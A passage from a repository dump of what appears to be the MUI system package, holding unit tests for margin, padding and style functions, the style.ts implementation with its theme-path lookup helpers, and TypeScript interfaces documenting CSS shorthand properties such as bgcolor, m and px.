expect(output1).to.deep.equal({ margin: 4 });\n\n        const output2 = margin({\n          theme: {\n            spacing: [0, 3, 5, 8, 13, 21], // Fibonacci\n          },\n          margin: 1,\n        });\n        expect(output2).to.deep.equal({ margin: 3 });\n\n        const output3 = margin({\n          theme: {\n            spacing: (x) => x ** 2,\n          },\n          m: 2,\n        });\n        expect(output3).to.deep.equal({ margin: 4 });\n      });\n    });\n\n    describe('warnings', () => {\n      it('should warn if the value overflow', () => {\n        let output;\n        expect(() => {\n          output = margin({\n            theme: {\n              spacing: [0, 3, 5],\n            },\n            m: 3,\n          });\n        }).toErrorDev(\n          'MUI: The value provided (3) overflows.\\n' +\n            'The supported values are: [0,3,5].\\n' +\n            '3 > 2, you need to add the missing values.',\n        );\n        expect(output).to.deep.equal({ margin: undefined });\n      });\n\n      it('should warn if the theme transformer is invalid', () => {\n        let output;\n        expect(() => {\n          output = margin({\n            theme: {\n              spacing: {},\n            },\n            m: 3,\n          });\n        }).toErrorDev(\n          'MUI: The `theme.spacing` value ([object Object]) is invalid.\\n' +\n            'It should be a number, an array or a function.',\n        );\n        expect(output).to.deep.equal({ margin: undefined });\n      });\n\n      it('should warn if non integer value is used with theme.spacing defined as array', () => {\n        let output;\n        expect(() => {\n          output = margin({\n            theme: {\n              spacing: [1, 2, 3, 4, 5, 6],\n            },\n            m: 0.5,\n          });\n        }).toErrorDev(\n          'MUI: The `theme.spacing` array type cannot be combined with non integer values.',\n        );\n        expect(output).to.deep.equal({ margin: undefined });\n      });\n    });\n\n    it('should accept non integer value', () => {\n      const output = margin({\n        theme: {\n          spacing: 8,\n        },\n        m: 0.5,\n      });\n      expect(output).to.deep.equal({ margin: 4 });\n    });\n\n    it('should support negative values', () => {\n      const output = margin({\n        m: -1,\n      });\n      expect(output).to.deep.equal({ margin: -8 });\n    });\n\n    it('should support composes values', () => {\n      const output = margin({\n        mx: 1,\n      });\n      expect(output).to.deep.equal({\n        marginLeft: 8,\n        marginRight: 8,\n      });\n    });\n\n    it('should support string', () => {\n      const output = margin({\n        theme: {\n          spacing: ['1em', '2em'],\n        },\n        m: -1,\n      });\n      expect(output).to.deep.equal({ margin: '-2em' });\n    });\n\n    it('should support breakpoints', () => {\n      const output1 = margin({\n        m: [1, 2],\n      });\n      expect(output1).to.deep.equal({\n        '@media (min-width:0px)': {\n          margin: 8,\n        },\n        '@media (min-width:600px)': {\n          margin: 16,\n        },\n      });\n\n      const output2 = margin({\n        m: {\n          xs: 1,\n          sm: 2,\n        },\n      });\n      expect(output2).to.deep.equal({\n        '@media (min-width:0px)': {\n          margin: 8,\n        },\n        '@media (min-width:600px)': {\n          margin: 16,\n        },\n      });\n    });\n\n    it('should support full version', () => {\n      const output1 = margin({\n        marginTop: 1,\n      });\n      expect(output1).to.deep.equal({\n        marginTop: 8,\n      });\n      const output2 = margin({\n        marginY: 1,\n      });\n      expect(output2).to.deep.equal({\n        marginBottom: 8,\n        marginTop: 8,\n      });\n      const output3 = margin({\n        marginInline: 1,\n      });\n      expect(output3).to.deep.equal({\n        marginInline: 8,\n      });\n    });\n\n    it('should support string values', () => {\n      const output = margin({\n        mt: '10px',\n      });\n      expect(output).to.deep.equal({\n        marginTop: '10px',\n      });\n    });\n  });\n\n  describe('padding', () => {\n    describe('themeTransformer', () => {\n      it('should have a default unit value', () => {\n        const output = padding({\n          p: 1,\n        });\n        expect(output).to.deep.equal({ padding: 8 });\n      });\n\n      it('should be able to customize the unit value', () => {\n        const output1 = padding({\n          theme: {\n            spacing: 2,\n          },\n          p: 2,\n        });\n        expect(output1).to.deep.equal({ padding: 4 });\n\n        const output2 = padding({\n          theme: {\n            spacing: [0, 3, 5, 8, 13, 21], // Fibonacci\n          },\n          p: 1,\n        });\n        expect(output2).to.deep.equal({ padding: 3 });\n\n        const output3 = padding({\n          theme: {\n            spacing: (x) => x ** 2,\n          },\n          p: 2,\n        });\n        expect(output3).to.deep.equal({ padding: 4 });\n      });\n    });\n\n    describe('warnings', () => {\n      it('should warn if the value overflow', () => {\n        let output;\n        expect(() => {\n          output = padding({\n            theme: {\n              spacing: [0, 3, 5],\n            },\n            p: 3,\n          });\n        }).toErrorDev(\n          'MUI: The value provided (3) overflows.\\n' +\n            'The supported values are: [0,3,5].\\n' +\n            '3 > 2, you need to add the missing values.',\n        );\n        expect(output).to.deep.equal({ padding: undefined });\n      });\n\n      it('should warn if the theme transformer is invalid', () => {\n        let output;\n        expect(() => {\n          output = padding({\n            theme: {\n              spacing: {},\n            },\n            p: 3,\n          });\n        }).toErrorDev(\n          'MUI: The `theme.spacing` value ([object Object]) is invalid.\\n' +\n            'It should be a number, an array or a function.',\n        );\n        expect(output).to.deep.equal({ padding: undefined });\n      });\n\n      it('should warn if non integer value is used with theme.spacing defined as array', () => {\n        let output;\n        expect(() => {\n          output = padding({\n            theme: {\n              spacing: [1, 2, 3, 4, 5, 6],\n            },\n            p: 0.5,\n          });\n        }).toErrorDev(\n          'MUI: The `theme.spacing` array type cannot be combined with non integer values.',\n        );\n        expect(output).to.deep.equal({ padding: undefined });\n      });\n    });\n\n    it('should accept non integer value', () => {\n      const output = padding({\n        theme: {\n          spacing: 8,\n        },\n        p: 0.5,\n      });\n      expect(output).to.deep.equal({ padding: 4 });\n    });\n\n    it('should support negative values', () => {\n      const output = padding({\n        p: -1,\n      });\n      expect(output).to.deep.equal({ padding: -8 });\n    });\n\n    it('should support composes values', () => {\n      const output = padding({\n        px: 1,\n      });\n      expect(output).to.deep.equal({\n        paddingLeft: 8,\n        paddingRight: 8,\n      });\n    });\n\n    it('should support string', () => {\n      const output = padding({\n        theme: {\n          spacing: ['1em', '2em'],\n        },\n        p: -1,\n      });\n      expect(output).to.deep.equal({ padding: '-2em' });\n    });\n\n    it('should support breakpoints', () => {\n      const output1 = padding({\n        p: [1, 2],\n      });\n      expect(output1).to.deep.equal({\n        '@media (min-width:0px)': {\n          padding: 8,\n        },\n        '@media (min-width:600px)': {\n          padding: 16,\n        },\n      });\n\n      const output2 = padding({\n        p: {\n          xs: 1,\n          sm: 2,\n        },\n      });\n      expect(output2).to.deep.equal({\n        '@media (min-width:0px)': {\n          padding: 8,\n        },\n        '@media (min-width:600px)': {\n          padding: 16,\n        },\n      });\n    });\n\n    it('should support full version', () => {\n      const output1 = padding({\n        paddingTop: 1,\n      });\n      expect(output1).to.deep.equal({\n        paddingTop: 8,\n      });\n      const output2 = padding({\n        paddingY: 1,\n      });\n      expect(output2).to.deep.equal({\n        paddingBottom: 8,\n        paddingTop: 8,\n      });\n      const output3 = padding({\n        paddingInline: 1,\n      });\n      expect(output3).to.deep.equal({\n        paddingInline: 8,\n      });\n    });\n\n    it('should support string values', () => {\n      const output = padding({\n        pt: '10px',\n      });\n      expect(output).to.deep.equal({\n        paddingTop: '10px',\n      });\n    });\n  });\n\n  it('should allow to conditionally set a value', () => {\n    const foo = true;\n    const output = spacing({\n      pt: foo ? undefined : 2,\n    });\n    expect(output).to.deep.equal({\n      paddingTop: undefined,\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/style/index.ts",
    "content": "export { default } from './style';\nexport { default as style } from './style';\nexport * from './style';\n"
  },
  {
    "path": "packages/mui-system/src/style/style.test.js",
    "content": "import { expect } from 'chai';\nimport style from './style';\n\ndescribe('style', () => {\n  const bgcolor = style({\n    prop: 'bgcolor',\n    cssProperty: 'backgroundColor',\n    themeKey: 'palette',\n  });\n\n  it('should work', () => {\n    const output = bgcolor({\n      bgcolor: 'blue',\n    });\n    expect(output).to.deep.equal({\n      backgroundColor: 'blue',\n    });\n  });\n\n  it('should support breakpoints', () => {\n    const output1 = bgcolor({\n      bgcolor: ['blue', 'red'],\n    });\n    expect(output1).to.deep.equal({\n      '@media (min-width:0px)': {\n        backgroundColor: 'blue',\n      },\n      '@media (min-width:600px)': {\n        backgroundColor: 'red',\n      },\n    });\n\n    const output2 = bgcolor({\n      bgcolor: {\n        xs: 'blue',\n        sm: 'red',\n      },\n    });\n    expect(output2).to.deep.equal({\n      '@media (min-width:0px)': {\n        backgroundColor: 'blue',\n      },\n      '@media (min-width:600px)': {\n        backgroundColor: 'red',\n      },\n    });\n  });\n\n  const boxShadow = style({\n    prop: 'boxShadow',\n    themeKey: 'shadows',\n  });\n\n  it('should support array theme value', () => {\n    const output = boxShadow({\n      theme: {\n        shadows: ['none', '0px 1px 3px 0px rgba(0, 0, 0, 0.2)'],\n      },\n      boxShadow: 1,\n    });\n\n    expect(output).to.deep.equal({\n      boxShadow: '0px 1px 3px 0px rgba(0, 0, 0, 0.2)',\n    });\n  });\n\n  it('should fallback to value if theme value is an array and index missing', () => {\n    const output = boxShadow({\n      theme: {\n        shadows: ['none'],\n      },\n      boxShadow: '0px 1px 3px 0px rgba(0, 0, 0, 0.2)',\n    });\n\n    expect(output).to.deep.equal({\n      boxShadow: '0px 1px 3px 0px rgba(0, 0, 0, 0.2)',\n    });\n  });\n\n  const border = style({\n    prop: 'border',\n    themeKey: 'borders',\n    transform: (value) => (typeof value === 'number' && value > 0 ? `${value}px solid` : value),\n  });\n\n  it('should transform the prop correctly', () => {\n    const output1 = border({\n      border: 1,\n    });\n    expect(output1).to.deep.equal({\n      border: '1px solid',\n    });\n\n    const output2 = border({\n      theme: {\n        borders: {\n          small: 2,\n        },\n      },\n      border: 'small',\n    });\n    expect(output2).to.deep.equal({\n      border: '2px solid',\n    });\n\n    const output3 = border({\n      theme: {\n        borders: (value) => `${value ** 2}px solid`,\n      },\n      border: 2,\n    });\n    expect(output3).to.deep.equal({\n      border: '4px solid',\n    });\n  });\n\n  it('should transform the property correctly using theme', () => {\n    const vSpacingWithTheme = style({\n      prop: 'vSpacing',\n      cssProperty: false,\n      themeKey: 'spacing',\n      transform: (value) => ({\n        '& > :not(:last-child)': {\n          marginBottom: value,\n        },\n      }),\n    });\n\n    const output = vSpacingWithTheme({\n      theme: {\n        spacing: (value) => value * 2,\n      },\n      vSpacing: 8,\n    });\n\n    expect(output).to.deep.equal({\n      '& > :not(:last-child)': {\n        marginBottom: 16,\n      },\n    });\n  });\n\n  it('should fallback to composed theme keys', () => {\n    const fontWeight = style({\n      prop: 'fontWeight',\n      themeKey: 'typography',\n    });\n\n    const output1 = fontWeight({\n      theme: {\n        typography: {\n          fontWeightBold: 700,\n        },\n      },\n      fontWeight: 'bold',\n    });\n    expect(output1).to.deep.equal({\n      fontWeight: 700,\n    });\n\n    const output2 = fontWeight({\n      theme: {\n        typography: {\n          fontWeight: 700,\n        },\n      },\n      fontWeight: 'default',\n    });\n    expect(output2).to.deep.equal({\n      fontWeight: 700,\n    });\n  });\n\n  describe('vars', () => {\n    it('should use value from vars', () => {\n      const bgcolorStyle = style({\n        prop: 'bgcolor',\n        cssProperty: 'backgroundColor',\n        themeKey: 'vars.palette',\n      });\n      const output = bgcolorStyle({\n        bgcolor: 'primary.main',\n        theme: {\n          palette: {\n            primary: {\n              main: '#ff5252',\n            },\n          },\n          vars: {\n            palette: {\n              primary: {\n                main: 'var(--token)',\n              },\n            },\n          },\n        },\n      });\n      expect(output).to.deep.equal({\n        backgroundColor: 'var(--token)',\n      });\n    });\n\n    it('should automatically use value from vars if vars is defined', () => {\n      const bgcolorStyle = style({\n        prop: 'bgcolor',\n        cssProperty: 'backgroundColor',\n        themeKey: 'palette',\n      });\n      const output = bgcolorStyle({\n        bgcolor: 'primary.main',\n        theme: {\n          palette: {\n            primary: {\n              main: '#ff5252',\n            },\n          },\n          vars: {\n            palette: {\n              primary: {\n                main: 'var(--token)',\n              },\n            },\n          },\n        },\n      });\n      expect(output).to.deep.equal({\n        backgroundColor: 'var(--token)',\n      });\n    });\n\n    it('should use theme value if the var does not exist', () => {\n      const opacityStyle = style({\n        prop: 'opacity',\n        themeKey: 'opacity',\n      });\n      const output = opacityStyle({\n        opacity: 'hover',\n        theme: {\n          palette: {\n            primary: {\n              main: '#ff5252',\n            },\n          },\n          opacity: {\n            hover: 0.5,\n          },\n          vars: {\n            palette: {\n              primary: {\n                main: 'var(--token)',\n              },\n            },\n          },\n        },\n      });\n      expect(output).to.deep.equal({\n        opacity: 0.5,\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/style/style.ts",
    "content": "import capitalize from '@mui/utils/capitalize';\nimport type { CSSObject } from '@mui/styled-engine';\nimport responsivePropType from '../responsivePropType';\nimport { handleBreakpoints } from '../breakpoints';\n\nexport type StyleFunction<Props> = (props: Props) => any;\n\nexport type PropsFor<SomeStyleFunction> =\n  SomeStyleFunction extends StyleFunction<infer Props> ? Props : never;\n\nexport type SimpleStyleFunction<PropKey extends keyof any> = StyleFunction<\n  Partial<Record<PropKey, any>>\n> & { filterProps: string[] };\n\nexport type TransformFunction = (\n  cssValue: unknown,\n  userValue: unknown,\n  transform: object | ((arg: any) => any) | undefined | null,\n) => number | string | React.CSSProperties | CSSObject;\n\nexport interface StyleOptions<PropKey> {\n  cssProperty?: PropKey | keyof React.CSSProperties | false | undefined;\n  prop: PropKey;\n  /**\n   * dot access in `Theme`\n   */\n  themeKey?: string | undefined;\n  transform?: TransformFunction | undefined;\n}\n\n/**\n * TODO(v7): Keep either this one or `getStyleValue2`\n */\nexport function getStyleValue(\n  themeMapping: object | ((arg: any) => any) | null | undefined,\n  transform: TransformFunction | null | undefined,\n  valueFinal: unknown,\n  userValue: unknown = valueFinal,\n): any {\n  let value;\n\n  if (typeof themeMapping === 'function') {\n    value = themeMapping(valueFinal);\n  } else if (Array.isArray(themeMapping)) {\n    value = themeMapping[valueFinal as any] || userValue;\n  } else if (typeof valueFinal === 'string') {\n    value = getPath(themeMapping, valueFinal) || userValue;\n  } else {\n    value = userValue;\n  }\n\n  if (transform) {\n    value = transform(value, userValue, themeMapping);\n  }\n\n  return value;\n}\n\n/**\n * HACK: The `alternateProp` logic is there because our theme looks like this:\n * {\n *   typography: {\n *     fontFamily: 'comic sans',\n *     fontFamilyCode: 'courrier new',\n *   }\n * }\n * And we support targetting:\n * - `typography.fontFamily`     with `sx={{ fontFamily: 'default' }}`\n * - `typography.fontFamilyCode` with `sx={{ fontFamily: 'code' }}`\n *\n * TODO(v7): Refactor our theme to look like this and remove the horrendous logic:\n * {\n *   typography: {\n *     fontFamily: {\n *       default: 'comic sans',\n *       code: 'courrier new',\n *     }\n *   }\n * }\n */\nexport function getStyleValue2(\n  themeMapping: object | ((arg: any) => any) | null | undefined,\n  transform: TransformFunction | null | undefined,\n  userValue: unknown,\n  alternateProp: string | undefined,\n): any {\n  let value;\n\n  if (typeof themeMapping === 'function') {\n    value = themeMapping(userValue);\n  } else if (Array.isArray(themeMapping)) {\n    value = themeMapping[userValue as any] || userValue;\n  } else if (typeof userValue === 'string') {\n    value = getPath(themeMapping, userValue, true, alternateProp) || userValue;\n  } else {\n    value = userValue;\n  }\n\n  if (transform) {\n    value = transform(value, userValue, themeMapping);\n  }\n\n  return value;\n}\n\nexport function getPath<T extends Record<string, any> | undefined | null>(\n  obj: T,\n  pathInput: string | undefined,\n  checkVars: boolean = true,\n  alternateProp: string | undefined = undefined,\n): null | unknown {\n  if (!obj || !pathInput) {\n    return null;\n  }\n\n  const path = pathInput.split('.');\n\n  // Check if CSS variables are used\n  if (obj.vars && checkVars) {\n    const val = getPathImpl(obj.vars, path, alternateProp);\n    if (val != null) {\n      return val;\n    }\n  }\n\n  return getPathImpl(obj, path, alternateProp);\n}\n\nfunction getPathImpl(object: any, path: string[], alternateProp: string | undefined = undefined) {\n  let lastResult = undefined;\n  let result = object;\n  let index = 0;\n\n  while (index < path.length) {\n    if (result === null || result === undefined) {\n      return result;\n    }\n\n    lastResult = result;\n    result = result[path[index]];\n    index += 1;\n  }\n\n  if (alternateProp && result === undefined) {\n    const lastKey = path[path.length - 1];\n    const alternateKey = `${alternateProp}${lastKey === 'default' ? '' : capitalize(lastKey)}`;\n    return lastResult?.[alternateKey];\n  }\n\n  return result;\n}\n\ntype StyleResult<PropKey extends string | number | symbol, Theme> = StyleFunction<\n  { [K in PropKey]?: unknown } & { theme?: Theme | undefined }\n> & { filterProps: string[]; propTypes: any };\n\nexport default function style<PropKey extends string, Theme extends object>(\n  options: StyleOptions<PropKey>,\n): StyleResult<PropKey, Theme> {\n  const { prop, cssProperty = options.prop, themeKey, transform } = options;\n\n  // eslint-disable-next-line react/function-component-definition\n  const fn: StyleResult<PropKey, Theme> = (props) => {\n    if (props[prop] == null) {\n      return null;\n    }\n\n    const propValue = props[prop];\n    const theme = props.theme;\n    const themeMapping = getPath(theme, themeKey) || {};\n    const styleFromPropValue = (valueFinal: any) => {\n      const value = getStyleValue2(themeMapping, transform, valueFinal, prop);\n      return cssProperty === false\n        ? value\n        : {\n            [cssProperty]: value,\n          };\n    };\n\n    return handleBreakpoints(props, propValue, styleFromPropValue);\n  };\n\n  fn.propTypes =\n    process.env.NODE_ENV !== 'production'\n      ? {\n          [prop]: responsivePropType,\n        }\n      : {};\n\n  fn.filterProps = [prop];\n\n  return fn;\n}\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/AliasesCSSProperties.ts",
    "content": "import { StandardCSSProperties } from './StandardCssProperties';\n\nexport interface AliasesCSSProperties {\n  /**\n   * The **`background-color`** CSS property sets the background color of an element.\n   *\n   * **Initial value**: `transparent`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/background-color\n   */\n  bgcolor?: StandardCSSProperties['backgroundColor'] | undefined;\n  /**\n   * The **`margin`** CSS property sets the margin on all four sides of an element. It is a shorthand for `margin-top`, `margin-right`, `margin-bottom`, and `margin-left`.\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin\n   */\n  m?: StandardCSSProperties['margin'] | undefined;\n  /**\n   * The **`margin-top`** CSS property sets the margin on the top of an element. A positive value places it farther from its neighbors, while a negative value places it closer.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-top\n   */\n  mt?: StandardCSSProperties['marginTop'] | undefined;\n  /**\n   * The **`margin-right`** CSS property sets the margin on the right side of an element. A positive value places it farther from its neighbors, while a negative value places it closer.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-right\n   */\n  mr?: StandardCSSProperties['marginRight'] | undefined;\n  /**\n   * The **`margin-bottom`** CSS property sets the margin on the bottom of an element. A positive value places it farther from its neighbors, while a negative value places it closer.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-bottom\n   */\n  mb?: StandardCSSProperties['marginBottom'] | undefined;\n  /**\n   * The **`margin-left`** CSS property sets the margin on the left side of an element. A positive value places it farther from its neighbors, while a negative value places it closer.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-left\n   */\n  ml?: StandardCSSProperties['marginLeft'] | undefined;\n  /**\n   * The **`mx`** property is shorthand for using both **`margin-left`** and **`margin-right`** CSS properties. They set the margin on the left and right side of an element. A positive value places it\n   * farther from its neighbors, while a negative value places it closer.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-left\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-right\n   */\n  mx?: StandardCSSProperties['marginLeft'] | undefined;\n  /**\n   * The **`marginX`** property is shorthand for using both **`margin-left`** and **`margin-right`** CSS properties. They set the margin on the left and right side of an element. A positive value\n   * places it farther from its neighbors, while a negative value places it closer.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-left\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-right\n   */\n  marginX?: StandardCSSProperties['marginLeft'] | undefined;\n  /**\n   * The **`my`** property is shorthand for using both **`margin-top`** and **`margin-bottom`** CSS properties. They set the margin on the top and bottom of an element. A positive value places it\n   * farther from its neighbors, while a negative value places it closer.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-top\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-bottom\n   */\n  my?: StandardCSSProperties['marginTop'] | undefined;\n  /**\n   * The **`marginY`** property is shorthand for using both **`margin-top`** and **`margin-bottom`** CSS properties. They set the margin on the top and bottom of an element. A positive value places\n   * it farther from its neighbors, while a negative value places it closer.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-top\n   * @see https://developer.mozilla.org/docs/Web/CSS/margin-bottom\n   */\n  marginY?: StandardCSSProperties['marginTop'] | undefined;\n  /**\n   * The **`padding`** CSS property sets the padding on all four sides of an element. It is a shorthand for `padding-top`, `padding-right`, `padding-bottom`, and `padding-left`.\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding\n   */\n  p?: StandardCSSProperties['padding'] | undefined;\n  /**\n   * The **`padding-top`** CSS property sets the height of the padding at the top of an element.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-top\n   */\n  pt?: StandardCSSProperties['paddingTop'] | undefined;\n  /**\n   * The **`padding-right`** CSS property sets the width of the padding at the right side of an element.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-right\n   */\n  pr?: StandardCSSProperties['paddingRight'] | undefined;\n  /**\n   * The **`padding-bottom`** CSS property sets the height of the padding on the bottom of an element.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-bottom\n   */\n  pb?: StandardCSSProperties['paddingBottom'] | undefined;\n  /**\n   * The **`padding-left`** CSS property sets the width of the padding at the left side of an element.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-left\n   */\n  pl?: StandardCSSProperties['paddingLeft'] | undefined;\n  /**\n   * The **`px`** property is shorthand for the CSS properties **`padding-left`** and **`padding-right`**. They set the width of the padding at the left and right side of an element.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-left\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-right\n   */\n  px?: StandardCSSProperties['paddingLeft'] | undefined;\n  /**\n   * The **`paddingX`** property is shorthand for the CSS properties **`padding-left`** and **`padding-right`**. They set the width of the padding at the left and right sides of an element.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-left\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-right\n   */\n  paddingX?: StandardCSSProperties['paddingLeft'] | undefined;\n  /**\n   * The **`py`** property is shorthand for the CSS properties **`padding-top`** and **`padding-bottom`**. They set the width of the padding at the top and bottom of an element.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-top\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-bottom\n   */\n  py?: StandardCSSProperties['paddingTop'] | undefined;\n  /**\n   * The **`paddingY`** property is shorthand for the CSS properties **`padding-top`** and **`padding-bottom`**. They set the width of the padding at the top and bottom of an element.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-top\n   * @see https://developer.mozilla.org/docs/Web/CSS/padding-bottom\n   */\n  paddingY?: StandardCSSProperties['paddingTop'] | undefined;\n  /**\n   * The **`typography`** property  is shorthand for the CSS properties **`font-family`**, **`font-weight`**, **`font-size`**, **`line-height`**, **`letter-spacing`** and **`text-transform``**.\n   * It takes the values defined under `theme.typography` and spreads them on the element.\n   *\n   * **Initial value**: `0`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **2**  |  **1**  | **1**  | **12** | **5.5** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/font-family\n   * @see https://developer.mozilla.org/docs/Web/CSS/font-weight\n   * @see https://developer.mozilla.org/docs/Web/CSS/font-size\n   * @see https://developer.mozilla.org/docs/Web/CSS/line-height\n   * @see https://developer.mozilla.org/docs/Web/CSS/letter-spacing\n   * @see https://developer.mozilla.org/docs/Web/CSS/text-transform\n   */\n  typography?: string | undefined;\n  /**\n   * The **`displayPrint`** property sets the display value for the element when the page is printed.\n   *\n   * **Initial value**: `inline`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/display\n   */\n  displayPrint?: StandardCSSProperties['display'] | undefined;\n}\n"
  },
  {
    "path": "packages/mui-system/src/styleFunctionSx/OverwriteCSSProperties.ts",
    "content": "import * as CSS from 'csstype';\n\nexport interface OverwriteCSSProperties {\n  /**\n   * The **`border`** CSS property is shorthand for the CSS properties **`border-width`**, **`border-style`**, and **`border-color`**. It sets an element's border.\n   *\n   * **Initial value**: `none`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **1**  |  **1**  | **1**  | **12** | **4** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/border\n   */\n  border?: CSS.Property.Border | number | undefined;\n  /**\n   * The **`box-shadow`** CSS property adds shadow effects around an element's frame. You can set multiple effects separated by commas. A box shadow is described by X and Y offsets relative to the\n   * element for blur and spread radii, and by its color.\n   *\n   * **Initial value**: `none`\n   *\n   * | Chrome  | Firefox | Safari  |  Edge  |  IE   |\n   * | :-----: | :-----: | :-----: | :----: | :---: |\n   * | **10**  |  **4**  | **5.1** | **12** | **9** |\n   * | 1 _-x-_ |         | 3 _-x-_ |        |       |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/box-shadow\n   */\n  boxShadow?: CSS.Property.BoxShadow | number | undefined;\n  /**\n   * The **`font-weight`** CSS property specifies the weight (or boldness) of the font. The font weights available to you will depend on the `font-family` you are using. Some fonts are only\n   * available in `normal` and `bold`.\n   *\n   * **Initial value**: `normal`\n   *\n   * | Chrome | Firefox | Safari |  Edge  |  IE   |\n   * | :----: | :-----: | :----: | :----: | :---: |\n   * | **2**  |  **1**  | **1**  | **12** | **3** |\n   *\n   * @see https://developer.mozilla.org/docs/Web/CSS/font-weight\n   */\n  fontWeight?: CSS.Property.FontWeight | string | undefined;\n  /**\n   * The **`z-index`** CSS property sets the z-order of a positioned element and 